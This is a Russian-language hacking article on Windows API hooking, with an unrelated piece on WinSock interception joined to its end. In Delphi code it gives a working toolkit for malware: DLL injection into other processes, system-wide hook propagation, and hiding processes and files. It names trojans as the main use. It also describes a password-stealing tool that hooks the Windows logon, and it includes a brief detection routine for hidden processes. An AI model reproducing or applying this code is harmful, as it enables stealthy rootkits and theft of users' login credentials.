Недостаток данного метода состоит в том, что если после восстановления начала функции произошло переключение контекста на другой поток приложения, то он сможет вызвать функцию минуя перехватчик. Этот недостаток можно устранить останавливая все побочные потоки приложения перед вызовом и запуская после вызова.

Внедрение кода и создание удаленных потоков:

Перехватывать API находящиеся в чужом процессе весьма неудобно, наиболее удобным способом будет внедрение кода перехватчика в процесс и запуск его на исполнение.
Для реализации этого необходимо открыть процесс с флагами PROCESS_CREATE_THREAD or PROCESS_VM_WRITE or PROCESS_VM_OPERATION. Для получения доступа к системным процессам нам понадобиться привилегия SeDebugPrivilege, поэтому перед установкой перехвата желательно активировать эту привилегию.

Процедура активации SeDebugPrivilege:

function EnableDebugPrivilege():Boolean;
var
 hToken: dword;
 SeDebugNameValue: Int64;
 tkp: TOKEN_PRIVILEGES;
 ReturnLength: dword;
begin
 Result:=false;
 //Добавляем привилегию SeDebugPrivilege
 //Получаем токен нашего процесса
 OpenProcessToken(INVALID_HANDLE_VALUE, TOKEN_ADJUST_PRIVILEGES
                  or TOKEN_QUERY, hToken);
 //Получаем LUID привилегии
 if not LookupPrivilegeValue(nil, 'SeDebugPrivilege', SeDebugNameValue) then
  begin
   CloseHandle(hToken);
   exit;
  end;
 tkp.PrivilegeCount := 1;
 tkp.Privileges[0].Luid := SeDebugNameValue;
 tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
 //Добавляем привилегию к процессу
 AdjustTokenPrivileges(hToken, false, tkp, SizeOf(TOKEN_PRIVILEGES),
                       tkp, ReturnLength);
 if GetLastError() <> ERROR_SUCCESS then exit;
 Result:=true;
end;

Следуюший код осуществляет загрузку в заданый процесс динамической библиотеки. Испольуется метод внедрения кода и создания удаленных потоков.

{ Внедрение Dll в процесс }
Function InjectDll(Process: dword; ModulePath: PChar): boolean;
var
  Memory:pointer;
  Code: dword;
  BytesWritten: dword;
  ThreadId: dword;
  hThread: dword;
  hKernel32: dword;
  Inject: packed record
           PushCommand:byte;
           PushArgument:DWORD;
           CallCommand:WORD;
           CallAddr:DWORD;
           PushExitThread:byte;
           ExitThreadArg:dword;
           CallExitThread:word;
           CallExitThreadAddr:DWord;
           AddrLoadLibrary:pointer;
           AddrExitThread:pointer;
           LibraryName:array[0..MAX_PATH] of char;
          end;
begin
  Result := false;
  Memory := VirtualAllocEx(Process, nil, sizeof(Inject),
                           MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  if Memory = nil then Exit;

  Code := dword(Memory);
  //инициализация внедряемого кода:
  Inject.PushCommand    := $68;
  inject.PushArgument   := code + $1E;
  inject.CallCommand    := $15FF;
  inject.CallAddr       := code + $16;
  inject.PushExitThread := $68;
  inject.ExitThreadArg  := 0;
  inject.CallExitThread := $15FF;
  inject.CallExitThreadAddr := code + $1A;
  hKernel32 := GetModuleHandle('kernel32.dll');
  inject.AddrLoadLibrary := GetProcAddress(hKernel32, 'LoadLibraryA');
  inject.AddrExitThread  := GetProcAddress(hKernel32, 'ExitThread');
  lstrcpy(@inject.LibraryName, ModulePath);
  //записать машинный код по зарезервированному адресу
  WriteProcessMemory(Process, Memory, @inject, sizeof(inject), BytesWritten);
  //выполнить машинный код
  hThread := CreateRemoteThread(Process, nil, 0, Memory, nil, 0, ThreadId);
  if hThread = 0 then Exit;
  CloseHandle(hThread);
  Result := True;
end;

Обратим внимание на следующую особенность: системные библиотеки Kernel32.dll и Ntdll.dll загружаются во всех процессах по одинаковому адресу, что использовано для инициализации внедряемого кода.

После загрузки DLL в память процесса, будет выполнена её точка входа с аргументом DLL_PROCESS_ATTACH. Загруженная библиотека может после этого установить перехват API функций методом сплайсинга.

Рассмотрим пример библиотеки осуществляющей перехват CreateProcessA:

library ApiHk;
uses
  TLHelp32, windows;
type
 fr_jmp = packed record
   PuhsOp: byte;
   PushArg: pointer;
   RetOp: byte;
  end;

OldCode = packed record
  One: dword;
  two: word;
 end;

var
 AdrCreateProcessA: pointer;
 OldCrp: OldCode;
 JmpCrProcA: far_jmp;

Function OpenThread(dwDesiredAccess: dword; bInheritHandle: bool; dwThreadId: dword):dword; 
                    stdcall; external 'kernel32.dll';
 
Procedure StopThreads;
var
 h, CurrTh, ThrHandle, CurrPr: dword;
 Thread: TThreadEntry32;
begin
 CurrTh := GetCurrentThreadId;
 CurrPr := GetCurrentProcessId;
 h := CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
 if h <> INVALID_HANDLE_VALUE then
   begin
    Thread.dwSize := SizeOf(TThreadEntry32);
    if Thread32First(h, Thread) then
    repeat
     if (Thread.th32ThreadID <> CurrTh) and (Thread.th32OwnerProcessID = CurrPr) then
      begin
       ThrHandle := OpenThread(THREAD_SUSPEND_RESUME, false, Thread.th32ThreadID);
       if ThrHandle>0 then
         begin
          SuspendThread(ThrHandle);
          CloseHandle(ThrHandle);
         end;
       end;
    until not Thread32Next(h, Thread);
   CloseHandle(h);
   end;
end;

Procedure RunThreads;
var
 h, CurrTh, ThrHandle, CurrPr: dword;
 Thread: TThreadEntry32;
begin
 CurrTh := GetCurrentThreadId;
 CurrPr := GetCurrentProcessId;
 h := CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
 if h <> INVALID_HANDLE_VALUE then
   begin
    Thread.dwSize := SizeOf(TThreadEntry32);
    if Thread32First(h, Thread) then
    repeat
     if (Thread.th32ThreadID <> CurrTh) and (Thread.th32OwnerProcessID = CurrPr) then
      begin
       ThrHandle := OpenThread(THREAD_SUSPEND_RESUME, false, Thread.th32ThreadID);
       if ThrHandle>0 then
         begin
          ResumeThread(ThrHandle);
          CloseHandle(ThrHandle);
         end;
       end;
    until not Thread32Next(h, Thread);
   CloseHandle(h);
   end;
end;

function TrueCreateProcessA(lpApplicationName: PChar; 
                            lpCommandLine: PChar;
                            lpProcessAttributes,
	                    lpThreadAttributes: PSecurityAttributes;
                            bInheritHandles: BOOL;
			    dwCreationFlags: DWORD; 
			    lpEnvironment: Pointer;
                            lpCurrentDirectory: PChar; 
			    const lpStartupInfo: TStartupInfo;
                            var lpProcessInformation: TProcessInformation): BOOL;
begin
 //снятие перехвата
 WriteProcessMemory(CurrProc, AdrCreateProcessA, @OldCrp, SizeOf(OldCode), Writen);
 //вызов функции
 result := CreateProcess(lpApplicationName, lpCommandLine, lpProcessAttributes, 
                         lpThreadAttributes, bInheritHandles, dwCreationFlags or 
		         CREATE_SUSPENDED, lpEnvironment, nil, lpStartupInfo,
		         lpProcessInformation);
 //установка перехвата
 WriteProcessMemory(CurrProc, AdrCreateProcessA, @JmpCrProcA, SizeOf(far_jmp), Writen);
end;

function NewCreateProcessA(lpApplicationName: PChar; 
                          lpCommandLine: PChar;
                          lpProcessAttributes, 
		          lpThreadAttributes: PSecurityAttributes;
                          bInheritHandles: BOOL; 
		          dwCreationFlags: DWORD; 
		          lpEnvironment: Pointer;
                          lpCurrentDirectory: PChar; 
	                  const lpStartupInfo: TStartupInfo;
                          var lpProcessInformation: TProcessInformation): BOOL; stdcall;
begin
 //наш обработчик CreateProcessA 
end;

Procedure SetHook;
var
 HKernel32, HUser32: dword; 
begin
 CurrProc := GetCurrentProcess;
 //получение адреса CreateProcessA
 AdrCreateProcessA := GetProcAddress(GetModuleHandle('kernel32.dll'), 'CreateProcessA');
 //инициализация структуры перехвата CreateProcessA
 JmpCrProcA.PuhsOp  := $68;
 JmpCrProcA.PushArg := @NewCreateProcessA;
 JmpCrProcA.RetOp   := $C3;
 //сохраняем старое начало функции
 ReadProcessMemory(CurrProc, AdrCreateProcessA, @OldCrp, SizeOf(OldCode), bw);
 //записываем новое начало CreateProcessA
 WriteProcessMemory(CurrProc, AdrCreateProcessA, @JmpCrProcA, SizeOf(far_jmp), Writen);
end;
 
begin
 //останавливаем побочные нити
 StopThreads;
 //устанавливаем перехват
 SetHook;
 //запускаем нити
 RunThreads;
end.

Следует обратить внимание на процедуры StopThreads и RunThreads, они соответственно останавливают и запускают все потоки кроме того, который их вызывает.
Перед установкой API перехвата необходимо останавливать все побочные потоки, иначе процесс записи может быть прерван, и функция вызвана другим потоком, что приведет к ошибке доступа к памяти и аварийному завершению приложения. Этот эффект проявляется не всегда, но может стать причиной нестабильной работы системы, поэтому не следует пренебрегать этим моментом.
Еще один важный момент: при получении адресов перехватываемых функций следует использовать GetModuleHandleA в том случае, если точно известно, что модуль загружен в адресное пространство текущего процесса, иначе следует испольовать LoadLibrary. Гарантировано будут загружены модули Ntdll.dll и те, которые статически импортируются вашей DLL.
Не следует лишний раз использовать LoadLibrary, поскольку это изменяет счетчик загрузок библиотеки, и мешает её корректной выгрузке, когда она не нужна. В крайнем случае можно использовать следующий код:

Handle := GetModuleHandleA('Library.dll');
IF Handle = 0 then Handle := LoadLibrary('Library.dll');

В вышеприведенном примере присутствует функция TrueCreateProcessA, её следует вызывать, если необходимо выполнить настоящий вызов CreateProcessA. Также следует обратить внимание на один важный момент: при написании функции заменяющей перехватываемую следует установить модель вызова аналогичную модели вызова перехватываемой функции, для WinAPI это будет stdcall.

Глобализация:

Допустим необходимо выполнить перехват API не только в текущем процессе, но и в всех последующих запущенных процессах.
Это можно сделать с помощью получения списка процессов и заражения новых процессов, но этот метод далеко не идеален, так как процесс до заражения сможет обращаться к оригинальной функции, также такой поиск приводит к лишнему расходованию системных ресурсов.
Из других недостатков данного метода можно отметить то, что глобализатор будет привязан к одному конкретному процессу, а значит, при его завершении весь перехват накроется.
Другой метод состоит в том, чтобы перехватывать функции создания процессов и внедрять обработчик в созданный процесс еще до выполнения его кода.
Процесс может быть создан множеством функций: CreateProcessA, CreateProcessW, WinExec, ShellExecute, NtCreateProcess. При создании нового процесса обязательно происходит вызов функции ZwCreateThread.

Function ZwCreateThread(ThreadHandle: pdword;
                        DesiredAccess: ACCESS_MASK;
                        ObjectAttributes: pointer;
                        ProcessHandle: THandle;
                        ClientId: PClientID;
                        ThreadContext: pointer;
                        UserStack: pointer;
                        CreateSuspended: boolean):NTStatus;
                        stdcall;external 'ntdll.dll';

Нас интересует структура ClientId:

type
PClientID = ^TClientID;
TClientID = packed record
 UniqueProcess:cardinal;
 UniqueThread:cardinal;
end;

Поле UniqueProcess содержит id процесса, которому принадлежит создаваемая нить.

Наиболее очевидным будет следующий метод:

Перехватываем ZwCreateThread, cверяем UniqueProcess с id текущего процесса, и если они различаются, то внедряем перехватчик в новый процесс. Но этот метод работать не будет, так как в момент создания основной нити процесс еще не проинициализирован и CreateRemoteThread возвращает ошибку.

Поэтому при обнаружении создания нити в новом процессе мы просто установим флаг NewProcess который будем использовать далее.

Обработчик ZwCreateThread будет выглядеть так:

Function NewZwCreateThread(ThreadHandle: PHANDLE;
                           DesiredAccess: ACCESS_MASK;
                           ObjectAttributes: pointer;
                           ProcessHandle: THandle;
                           ClientId: PClientID;
                           ThreadContext: pointer;
                           UserStack: pointer;
                           CreateSuspended: boolean); stdcall;
begin
 //снятие перехвата
WriteProcessMemory(CurrProc, AdrZwCreateThread, @OldZwCreateThread, SizeOf(OldCode), Writen); //вызываем функцию с флагом CREATE_SUSPENDED, чтобы нить не запустилась до установки перехвата Result := ZwCreateThread(ThreadHandle, DesiredAccess, ObjectAttributes, ProcessHandle, ClientId, ThreadContext, UserStack, true); //проверяем, принадлежит ли нить к текущему процессу if CurrProcId <> ClientId.UniqueProcess then //устанавливаем флаг создания нового процесса NewProcess := true; //если надо, то запускаем нить if not CreateSuspended then ResumeThread(ThreadHandle^); //установка перехвата WriteProcessMemory(CurrProc, AdrZwCreateThread, @JmpZwCreateThread, SizeOf(far_jmp), Writen); end;

После инициализации созданного процесса происходит запуск его основной нити с помощью ZwResumeThread.

Function ZwResumeThread(ThreadHandle: dword;
                        PreviousSuspendCount: pdword): NTStatus;
                        stdcall; external 'ntdll.dll';

Перехватив эту функцию мы будем получать хэндлы всех запускаемых нитей.
Нам необходимо по хэндлу нити получить id процесса владеющего этой нитью. Это делает функция ZwQueryInformationThread.

Function ZwQueryInformationThread(ThreadHandle: dword;
                                  ThreadInformationClass: dword;
                                  ThreadInformation: pointer;
                                  ThreadInformationLength: dword;
                                  ReturnLength: pdword):NTStatus;
                                  stdcall;external 'ntdll.dll';

ThreadInformationClass — тип получаемой информации.
В нашем случае = THREAD_BASIC_INFO = 0;

ThreadInformation — указатель на структуру, куда будет записана информация о нити.
В нашем случае это будет структура THREAD_BASIC_INFORMATION:

PTHREAD_BASIC_INFORMATION = ^THREAD_BASIC_INFORMATION;
  THREAD_BASIC_INFORMATION = packed record
  ExitStatus: BOOL;
  TebBaseAddress: pointer;
  ClientId: TClientID;
  AffinityMask: DWORD;
  Priority: dword;
  BasePriority: dword;
 end;

ClientId.UniqueProcess будет содержать id процесса владеющего нитью.

Если этот процесс отличается от текущего и установлен флаг NewProcess, то мы должны внедрить перехватчик в созданный процесс и сбросить флаг NewProcess.

Обработчик функции ZwResumeThread будет выглядеть примерно так:

function 
NewZwResumeThread(ThreadHandle: THandle; PreviousSuspendCount:
                           pdword); stdcall; var
ThreadInfo:
THREAD_BASIC_INFORMATION; Handle:
DWORD; begin
//снимаем
 перехват WriteProcessMemory(CurrProc,
 AdrZwResumeThread, @OldZwResumeThread, SizeOf(OldCode), Writen); //получаю
 информацию о процессе владеющем этой нитью ZwQueryInformationThread(ThreadHandle,
 THREAD_BASIC_INFO, @ThreadInfo, SizeOf(THREAD_BASIC_INFORMATION), nil); if
 (ThreadInfo.ClientId.UniqueProcess <>  CurrProcId) and NewProcess then
    begin //заражаем новый процесс
Handle := OpenProcess(PROCESS_CREATE_THREAD or PROCESS_VM_WRITE or PROCESS_VM_OPERATION, FALSE, ThreadInfo.ClientId.UniqueProcess); InjectDll(Handle); CloseHandle(Handle); NewProcess := false; end; //вызываем оригинальную функцию Result := ZwResumeThread(ThreadHandle, PreviousSuspendCount); //устанавливаем перехват WriteProcessMemory(CurrProc, AdrZwResumeThread, @JmpZwResumeThread, SizeOf(far_jmp), Writen); end;

Таким образом решается проблема глобализации обработчика.

Практическое применение:

Теперь кратко поговорим о возможных применениях перехвата API:
Широчайшее применение подобная технология может найти в троянских программах.
Например можно создать невидимый процесс, скрыть какие-либо файлы на диске, скрыть записи в реестре и скрыть сетевые соединения.
Можно легко обойти персональные фаерволлы. Можно делать с системой все, что угодно.
К примеру, для скрытия файлов на диске нам нужно перехватить функцию ZwQueryDirectoryFile из ntdll.dll. Она является базовой для всех API перечисления файлов.

Рассмотрим прототип этой функции:

Function ZwQueryDirectoryFile(FileHandle: dword;
                              Event: dword;
                              ApcRoutine: pointer;
                              ApcContext: pointer;
                              IoStatusBlock: pointer;
                              FileInformation: pointer;
                              FileInformationLength: dword;
                              FileInformationClass: dword;
                              ReturnSingleEntry: bool;
                              FileName: PUnicodeString;
                              RestartScan: bool): NTStatus;
                              stdcall; external 'ntdll.dll';

Для нас важны параметры FileHandle, FileInformation
и FileInformationClass.
FileHandle — хэндл объекта директории, который может
быть получен с использованием функции ZwOpenFile.
FileInformation — указатель
на выделенную память, куда функция запишет необходимые данные.

FileInformationClass определяет тип записей в FileInformation.

FileInformationClass перечислимого типа, но нам необходимы только
четыре его значения, используемые для просмотра содержимого директории.

const
  FileDirectoryInformation = 1; 
  FileFullDirectoryInformation = 2; 
  FileBothDirectoryInformation = 3;
  FileNamesInformation = 12;

Структура записи в FileInformation для FileDirectoryInformation:

type  
 FILE_DIRECTORY_INFORMATION = packed record 
  NextEntryOffset: ULONG;
  Unknown: ULONG; 
  CreationTime,
  LastAccessTime, 
  LastWriteTime, 
  ChangeTime, 
  EndOfFile, 
  AllocationSize: int64;  
  FileAttributes: ULONG; 
  FileNameLength: ULONG; 
  FileName: PWideChar;  
 end;

для FileFullDirectoryInformation:

type 
 FILE_FULL_DIRECTORY_INFORMATION = packed record
   NextEntryOffset: ULONG;
   Unknown: ULONG; 
   CreationTime,
   LastAccessTime, 
   LastWriteTime, 
   ChangeTime,
   EndOfFile,
   AllocationSize: int64;
   FileAttributes: ULONG; 
   FileNameLength: ULONG;
   EaInformationLength: ULONG;
   FileName: PWideChar; 
 end;

для FileBothDirectoryInformation:

type 
 FILE_BOTH_DIRECTORY_INFORMATION = packed record 
   NextEntryOffset: ULONG;
   Unknown: ULONG; 
   CreationTime,
   LastAccessTime,
   LastWriteTime, 
   ChangeTime,
   EndOfFile,
   AllocationSize: int64; 
   FileAttributes: ULONG; 
   FileNameLength: ULONG; 
   EaInformationLength: ULONG;
   AlternateNameLength: ULONG; 
   AlternateName[0..11]: array of WideChar; 
   FileName: PWideChar;
 end;

и для FileNamesInformation:

type 
 FILE_NAMES_INFORMATION = packed record 
   NextEntryOffset: ULONG; 
   Unknown: ULONG;
   FileNameLength: ULONG;
   FileName: PWideChar;
 end;

Функция записывает набор этих структур в буфер FileInformation.

Во всех этих типах структур для нас важны только три переменных:

NextEntryOffset — размер данного элемента списка.
Первый элемент
расположен по адресу FileInformation + 0, а второй элемент по адресу
FileInformation + NextEntryOffset первого элемента. У последнего элемента
поле NextEntryOffset содержит нуль.
FileName — это полное имя файла.
FileNameLength — это длина имени файла

Для скрытия файла, необходимо сравнить имя каждой возвращаемой записи
и имя файла, который мы хотим скрыть.
Если мы хотим скрыть первую запись,
нужно сдвинуть следующие за ней структуры на размер первой записи. Это приведет
к тому, что первая запись будет затерта. Если мы хотим скрыть другую запись,
мы можем просто изменить значение NextEntryOffset предыдущей записи. Новое
значение NextEntryOffset будет нуль, если мы хотим скрыть последнюю запись,
иначе значение будет суммой полей NextEntryOffset записи, которую мы хотим
скрыть и предыдущей записи. Затем необходимо изменить значение поля Unknown
предыдущей записи, которое предоставляет индекс для последующего поиска.
Значение поля Unknown предыдущей записи должно равняться значению поля Unknown
записи, которую мы хотим скрыть.

Если нет ни одной записи, которую можно видеть, мы должны вернуть ошибку
STATUS_NO_SUCH_FILE.

const
  STATUS_NO_SUCH_FILE = $C000000F;

Скрытие процессов:
Список процессов можно получить различными методами: EnumProcesses, CreateToolHelp32Snapshot и.др., но все эти API обращаются к базовой функции ZwQuerySystemInformation.

Рассмотрим прототип этой функции:

Function ZwQuerySystemInformation(ASystemInformationClass: dword;
                                  ASystemInformation: Pointer;
                                  ASystemInformationLength: dword;
                                  AReturnLength:PCardinal): NTStatus;
                                  stdcall;external 'ntdll.dll';

SystemInformationClass указывает тип информации, которую мы хотим
получить, SystemInformation — это указатель на результирующий буфер,
SystemInformationLength — размер этого буфера и ReturnLength — количество
записанных байт.
Эта функция может возвращать различные классы информации, каждый из которых определен своей структурой. Вот список классов возвращаемых функцией:

const // SYSTEM_INFORMATION_CLASS 
  SystemBasicInformation                =	0;
  SystemProcessorInformation            =	1;
  SystemPerformanceInformation         	=	2;
  SystemTimeOfDayInformation           	=	3;
  SystemNotImplemented1               	=	4;
  SystemProcessesAndThreadsInformation	=	5;
  SystemCallCounts                      =	6;
  SystemConfigurationInformation        =	7;
  SystemProcessorTimes                	=	8;
  SystemGlobalFlag                    	=	9;
  SystemNotImplemented2               	=	10;
  SystemModuleInformation             	=	11;
  SystemLockInformation	                =	12;
  SystemNotImplemented3	                =	13;
  SystemNotImplemented4                	=	14;
  SystemNotImplemented5	                =	15;
  SystemHandleInformation              	=	16;
  SystemObjectInformation               =	17;
  SystemPagefileInformation            	=	18;
  SystemInstructionEmulationCounts      =	19;
  SystemInvalidInfoClass                =	20;
  SystemCacheInformation                =	21;
  SystemPoolTagInformation            	=	22;
  SystemProcessorStatistics             =	23;
  SystemDpcInformation                	=	24;
  SystemNotImplemented6	                =	25;
  SystemLoadImage                       =	26;
  SystemUnloadImage                     =	27;
  SystemTimeAdjustment                  =	28;
  SystemNotImplemented7               	=	29;
  SystemNotImplemented8	                =	30;
  SystemNotImplemented9               	=	31;
  SystemCrashDumpInformation          	=	32;
  SystemExceptionInformation          	=	33;
  SystemCrashDumpStateInformation      	=	34;
  SystemKernelDebuggerInformation     	=	35;
  SystemContextSwitchInformation        =	36;
  SystemRegistryQuotaInformation        =	37;
  SystemLoadAndCallImage               	=	38;
  SystemPrioritySeparation             	=	39;
  SystemNotImplemented10              	=	40;
  SystemNotImplemented11              	=	41;
  SystemInvalidInfoClass2              	=	42;
  SystemInvalidInfoClass3             	=	43;
  SystemTimeZoneInformation            	=	44;
  SystemLookasideInformation          	=	45;
  SystemSetTimeSlipEvent              	=	46;
  SystemCreateSession                 	=	47;
  SystemDeleteSession                  	=	48;
  SystemInvalidInfoClass4               =	49;
  SystemRangeStartInformation         	=	50;
  SystemVerifierInformation           	=	51;
  SystemAddVerifier                    	=	52;
  SystemSessionProcessesInformation   	=	53;

Для перечисления запущенных процессов мы устанавливаем в параметр
SystemInformationClass в значение SystemProcessesAndThreadsInformation.
Возвращаемая структура в буфере SystemInformation:

PSYSTEM_PROCESSES = ^SYSTEM_PROCESSES
SYSTEM_PROCESSES = packed record
   NextEntryDelta,
   ThreadCount: dword;
   Reserved1 : array [0..5] of dword;
   CreateTime,
   UserTime,
   KernelTime: LARGE_INTEGER;
   ProcessName: TUnicodeString;
   BasePriority: dword;
   ProcessId,
   InheritedFromProcessId,
   HandleCount: dword;
   Reserved2: array [0..1] of dword;
   VmCounters: VM_COUNTERS;
   IoCounters: IO_COUNTERS; // Windows 2000 only
   Threads: array [0..0] of SYSTEM_THREADS;
  end;

Скрытие процессов похоже на скрытие файлов. Мы должны изменить
NextEntryDelta записи предшествующей записи скрываемого процесса. Обычно
не требуется скрывать первую запись, т.к. это процесс Idle.
Простой обработчик ZwQuerySystemInformation скрывающий процесс winlogon.exe будет выглядеть так:

Function NewZwQuerySystemInformation(ASystemInformationClass: dword;
                                     ASystemInformation: Pointer;
                                     ASystemInformationLength: dword;
                                     AReturnLength: PCardinal): NTStatus; stdcall;
var
 Info, Prev: PSYSTEM_PROCESSES;
begin
 Result := TrueZwQuerySystemInformation(ASystemInformationClass,
                                        ASystemInformation,
                                        ASystemInformationLength,
                                        AReturnLength);

 if (ASystemInformationClass = SystemProcessesAndThreadsInformation) and
    (Result = STATUS_SUCCESS) then
    begin
      Info := ASystemInformation;
      while(Info^.NextEntryDelta > 0) do
       begin
         Prev := Info;
         Info := pointer(dword(Info) + Info^.NextEntryDelta);
         if lstrcmpiw(Info^.ProcessName.Buffer, 'winlogon.exe') = 0 then
           Prev^.NextEntryDelta := Prev^.NextEntryDelta + Info^.NextEntryDelta;
       end;
    end;
end;

В общем, мы кратко рассмотрели способ скрытия файлов и процессов.

В завершении, приведу пример программы перехватывающей пароли на вход в Windows и при запуске программ от имени пользователя.
Для начала немного теории: при входе пользователя в систему процесс Winlogon.exe проводит его авторизацию через функции библиотеки msgina.dll. Конкретно, нас интересует функция WlxLoggedOutSAS вызывающаяся при входе пользователя в систему.
Вот прототип этой функции:

 WlxLoggedOutSAS: Function(pWlxContext: pointer;
                           dwSasType: dword;
                           pAuthenticationId: pointer;
                           pLogonSid: pointer;
                           pdwOptions,
                           phToken: PDWORD;
                           pMprNotifyInfo: PWLX_MPR_NOTIFY_INFO;
                           pProfile:pointer): dword; stdcall;

Функции передается структура WLX_MPR_NOTIFY_INFO содержащая в себе имя пользователя, его пароль и домен.

PWLX_MPR_NOTIFY_INFO = ^WLX_MPR_NOTIFY_INFO;
WLX_MPR_NOTIFY_INFO = packed record
  pszUserName: PWideChar;
  pszDomain: PWideChar;
  pszPassword: PWideChar;
  pszOldPassword: PWideChar;
 end;

Мы будем перехватывать функцию WlxLoggedOutSAS в процессе Winlogon.exe и сохранять полученные пароли в файле.
В других процессах мы будем перехватывать LogonUserA, LogonUserW и CreateProcessWithLogonW — эти функции используются для запуска процессов от имени другого пользователя.

function LogonUserA(lpszUsername, lpszDomain, lpszPassword: PAnsiChar;
                    dwLogonType, dwLogonProvider: DWORD; 
                    var phToken: THandle): BOOL; stdcall; external 'advapi32.dll';

function LogonUserW(lpszUsername, lpszDomain, lpszPassword: PWideChar;
                    dwLogonType, dwLogonProvider: DWORD; 
                    var phToken: THandle): BOOL; stdcall; external 'advapi32.dll';

Function CreateProcessWithLogonW(const lpUsername: PWideChar;
                                 const lpDomain: PWideChar;
                                 const lpPassword: PWideChar;
                                 dwLogonFlags: DWORD;
                                 const lpApplicationName: PWideChar;
                                 lpCommandLine: PWideChar;
                                 dwCreationFlags: DWORD;
                                 lpEnvironment: Pointer;
                                 const lpCurrentDirectory: PWideChar;
                                 lpStartupInfo: PStartupInfo;
                                 lpProcessInfo: PProcessInformation): Boolean;
                                 stdcall; external 'advapi32.dll';

Перехват этих функций поместим в DLL, глобализатор делать не будем, просто пропишем нашу библиотеку в раздел реестра
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
параметр AppInit_DLLs, тип REG_SZ
Тогда эта библиотека будет автоматически подгружена к любому приложению, которое имеет в своей памяти user32.dll.
В приложении к статье вы можете скачать полные исходники программы FuckLogon, которая перехватывает пароли данным методом.

Защита:

Описанный мной метод перехвата API функций может быть использован для написания чрезвычайно опасных вредоносных программ.
Во избежание этого, я приведу здесь разработанный мной метод поиска скрытых процессов.
Метод состоит в том, что список процессов получается не с помощью API функций, а непосредственно через системные вызовы ядра Windows.
Недостаток данного метода состоит в том, что интерфейсы ядра не документированы, и узнать их можно только дизассемблируя системные библиотеки.
Также функции ядра могут различаться в разных версиях Windows, поэтому работоспособность этого метода везде не гарантируется.
Приведенный ниже код получает список процессов с помощью вызова интерфейсов ядра:

Procedure GetProcessList(var NameList, HandleList: TList); 
asm 
 push ebp 
 mov ebp, esp
 push ecx
 push ebx
 push esi
 push edi
 mov esi, edx
 mov ebx,eax
 push $05
 call @GetInfoTable
 jmp @InfoTableEnd
 @GetInfoTable:
 push ebp
 mov ebp, esp
 sub esp, $04h
 push esi 
 push 0
 pop dword ptr [ebp - $04] 
 mov esi, $4000
 @GetInfoTable_doublespace:
 shl esi, $01
 push esi
 push 0
 call LocalAlloc
 test eax, eax
 jz @GetInfoTable_failed 
 mov [ebp-$04], eax 
 push 0
 push esi
 push eax
 push dword ptr [ebp + $08]
 call @OpenKernelData
 jmp @Cont 
 @OpenKernelData: 
 mov eax, $AD 
 call @SystemCall 
 ret $10 
 @SystemCall: 
 mov edx, esp 
 sysenter 
 @Cont: 
 test eax, $C0000000 
 jz @GetInfoTable_end 
 cmp eax, $C0000004
 jnz @GetInfoTable_failed 
 push dword ptr [ebp - $04] 
 call LocalFree 
 jmp @GetInfoTable_doublespace 
 @GetInfoTable_failed: 
 push 0 
 pop dword ptr [ebp - $04] 
 @GetInfoTable_end: 
 mov eax,[ebp - $04] 
 pop esi 
 leave 
 ret $04 
 @InfoTableEnd: 
 mov [edi], eax 
 @FindData: 
 mov edx, [eax + $3C] 
 mov eax, [ebx] 
 call TList.Add  //NameList.Add 
 mov eax, [edi] 
 lea edx, [eax + $44] 
 mov eax, [esi] 
 call TList.Add  //HandleList.Add 
 mov eax, [edi] 
 cmp [eax], 0 
 jz @EndData 
 add eax, [eax] 
 mov [edi], eax 
 jmp @FindData 
 @EndData: 
 pop edi  
 pop esi 
 pop ebx 
 pop ecx 
 pop ebp 
 ret 
end;

NameList будет содержать указатели PWideChar на имена процессов, а HandleList на их PID.
Данный код проверен в Windows XP sp0,sp1 и sp2. В Windows 2000 он работать не будет, так как интерфейс системных вызовов там сильно отличается от XP. Но от перехвата API в ядре этот метод не спасет.
Этот метод поиска скрытых процессов реализован в моей программе ProcessMaster, которую вы можете скачать в приложении к статье.


Приложение:

Здесь вы найдете все файлы идущие со статьей:

Файл Описание
FuckLogon (21 кб) Программа FuckLogon перехватывающая пароли на вход в систему.
В архиве также находятся исходники программы.
AdwareBox (15 кб) Программа — прикол. Заставляет все MessageBox в системе отображать рекламу.
ProcHide (10 кб) Пример скрытия процесса winlogon.exe путем перехвата ZwQuerySystemInformation.
ProcessMaster (189 кб) Программа ProcessMaster для обнаружения скрытых процессов.
Гарантированное обнаружение любых UserMode API перехватчиков

© Copyright by Ms-Rem 2005.

В одном из номеров нашего журнала в рубрике FAQ был задан вопрос: «Как можно перехватить данные, отправляемые сетевым приложением?». В ответе Step порекомендовал использовать функцию WinSock hook из пакета сетевых утилит – IP Tools. Возможности WinSock hooker мне настолько понравились, что я решил написать свой вариант подобной программы. И в этой статье хочу поделиться с тобой опытом, полученным при разработке.

Теория перехвата WinAPI

Начнем с теории, которую, правда, и так знает большинство наших читателей. Все API функции определены в динамических библиотеках. Сразу возникает вопрос: «Откуда приложение знает, в какой библиотеке объявлена нужная функция?». Ответ прост – в любом PE файле есть область, называемая таблицей импорта. В ней перечислена информация обо всех импортированных функциях, необходимых для корректной работы. Загрузчик PE считывает эту инфу и подгружает необходимые библиотеки в адресное пространство процесса программы. Например, чтобы узнать список всех DLL, подгруженных в адресное пространство процесса, можно воспользоваться утилитой от Марка Руссиновича «Process Explorer». Взгляни на рисунок, на нем отображен список dll процесса Opera.exe.

Обрати внимание на выделенную в нижней части окна «Process Explorer» библиотеку dll с именем WS2_32.dll. В ней определен весь набор сетевых функций WinSock API второй версии. Одну из функций из этой библиотеки нам предстоит сегодня научиться перехватывать. В перехвате нет ничего нетривиального. Все, что требуется от программиста, так это заставить процесс жертвы обращаться не к системной функции, а к нашей – подставной. Дальше остается только командовать. Перехватить API функции можно несколькими способами. Вот самые популярные:

  • Редактирование таблицы импорта. Наверное, этот способ является самым известным и уж точно самым простым. Суть метода заключается в следующем. В таблице импорта PE файлов содержатся адреса всех импортируемых функций. Для перехвата необходимо пробежаться по этой табличке, найти адрес функции, которую мы будем перехватывать, и поменять его на адрес функции, определенной нами. Совершив эту нехитрую манипуляцию, мы сможем обрабатывать все вызовы перехватываемой функции. Несмотря на простоту реализации, нас подстерегает несколько досадных огорчений. Самое главное, что не все функции могут вызываться через таблицу импорта.
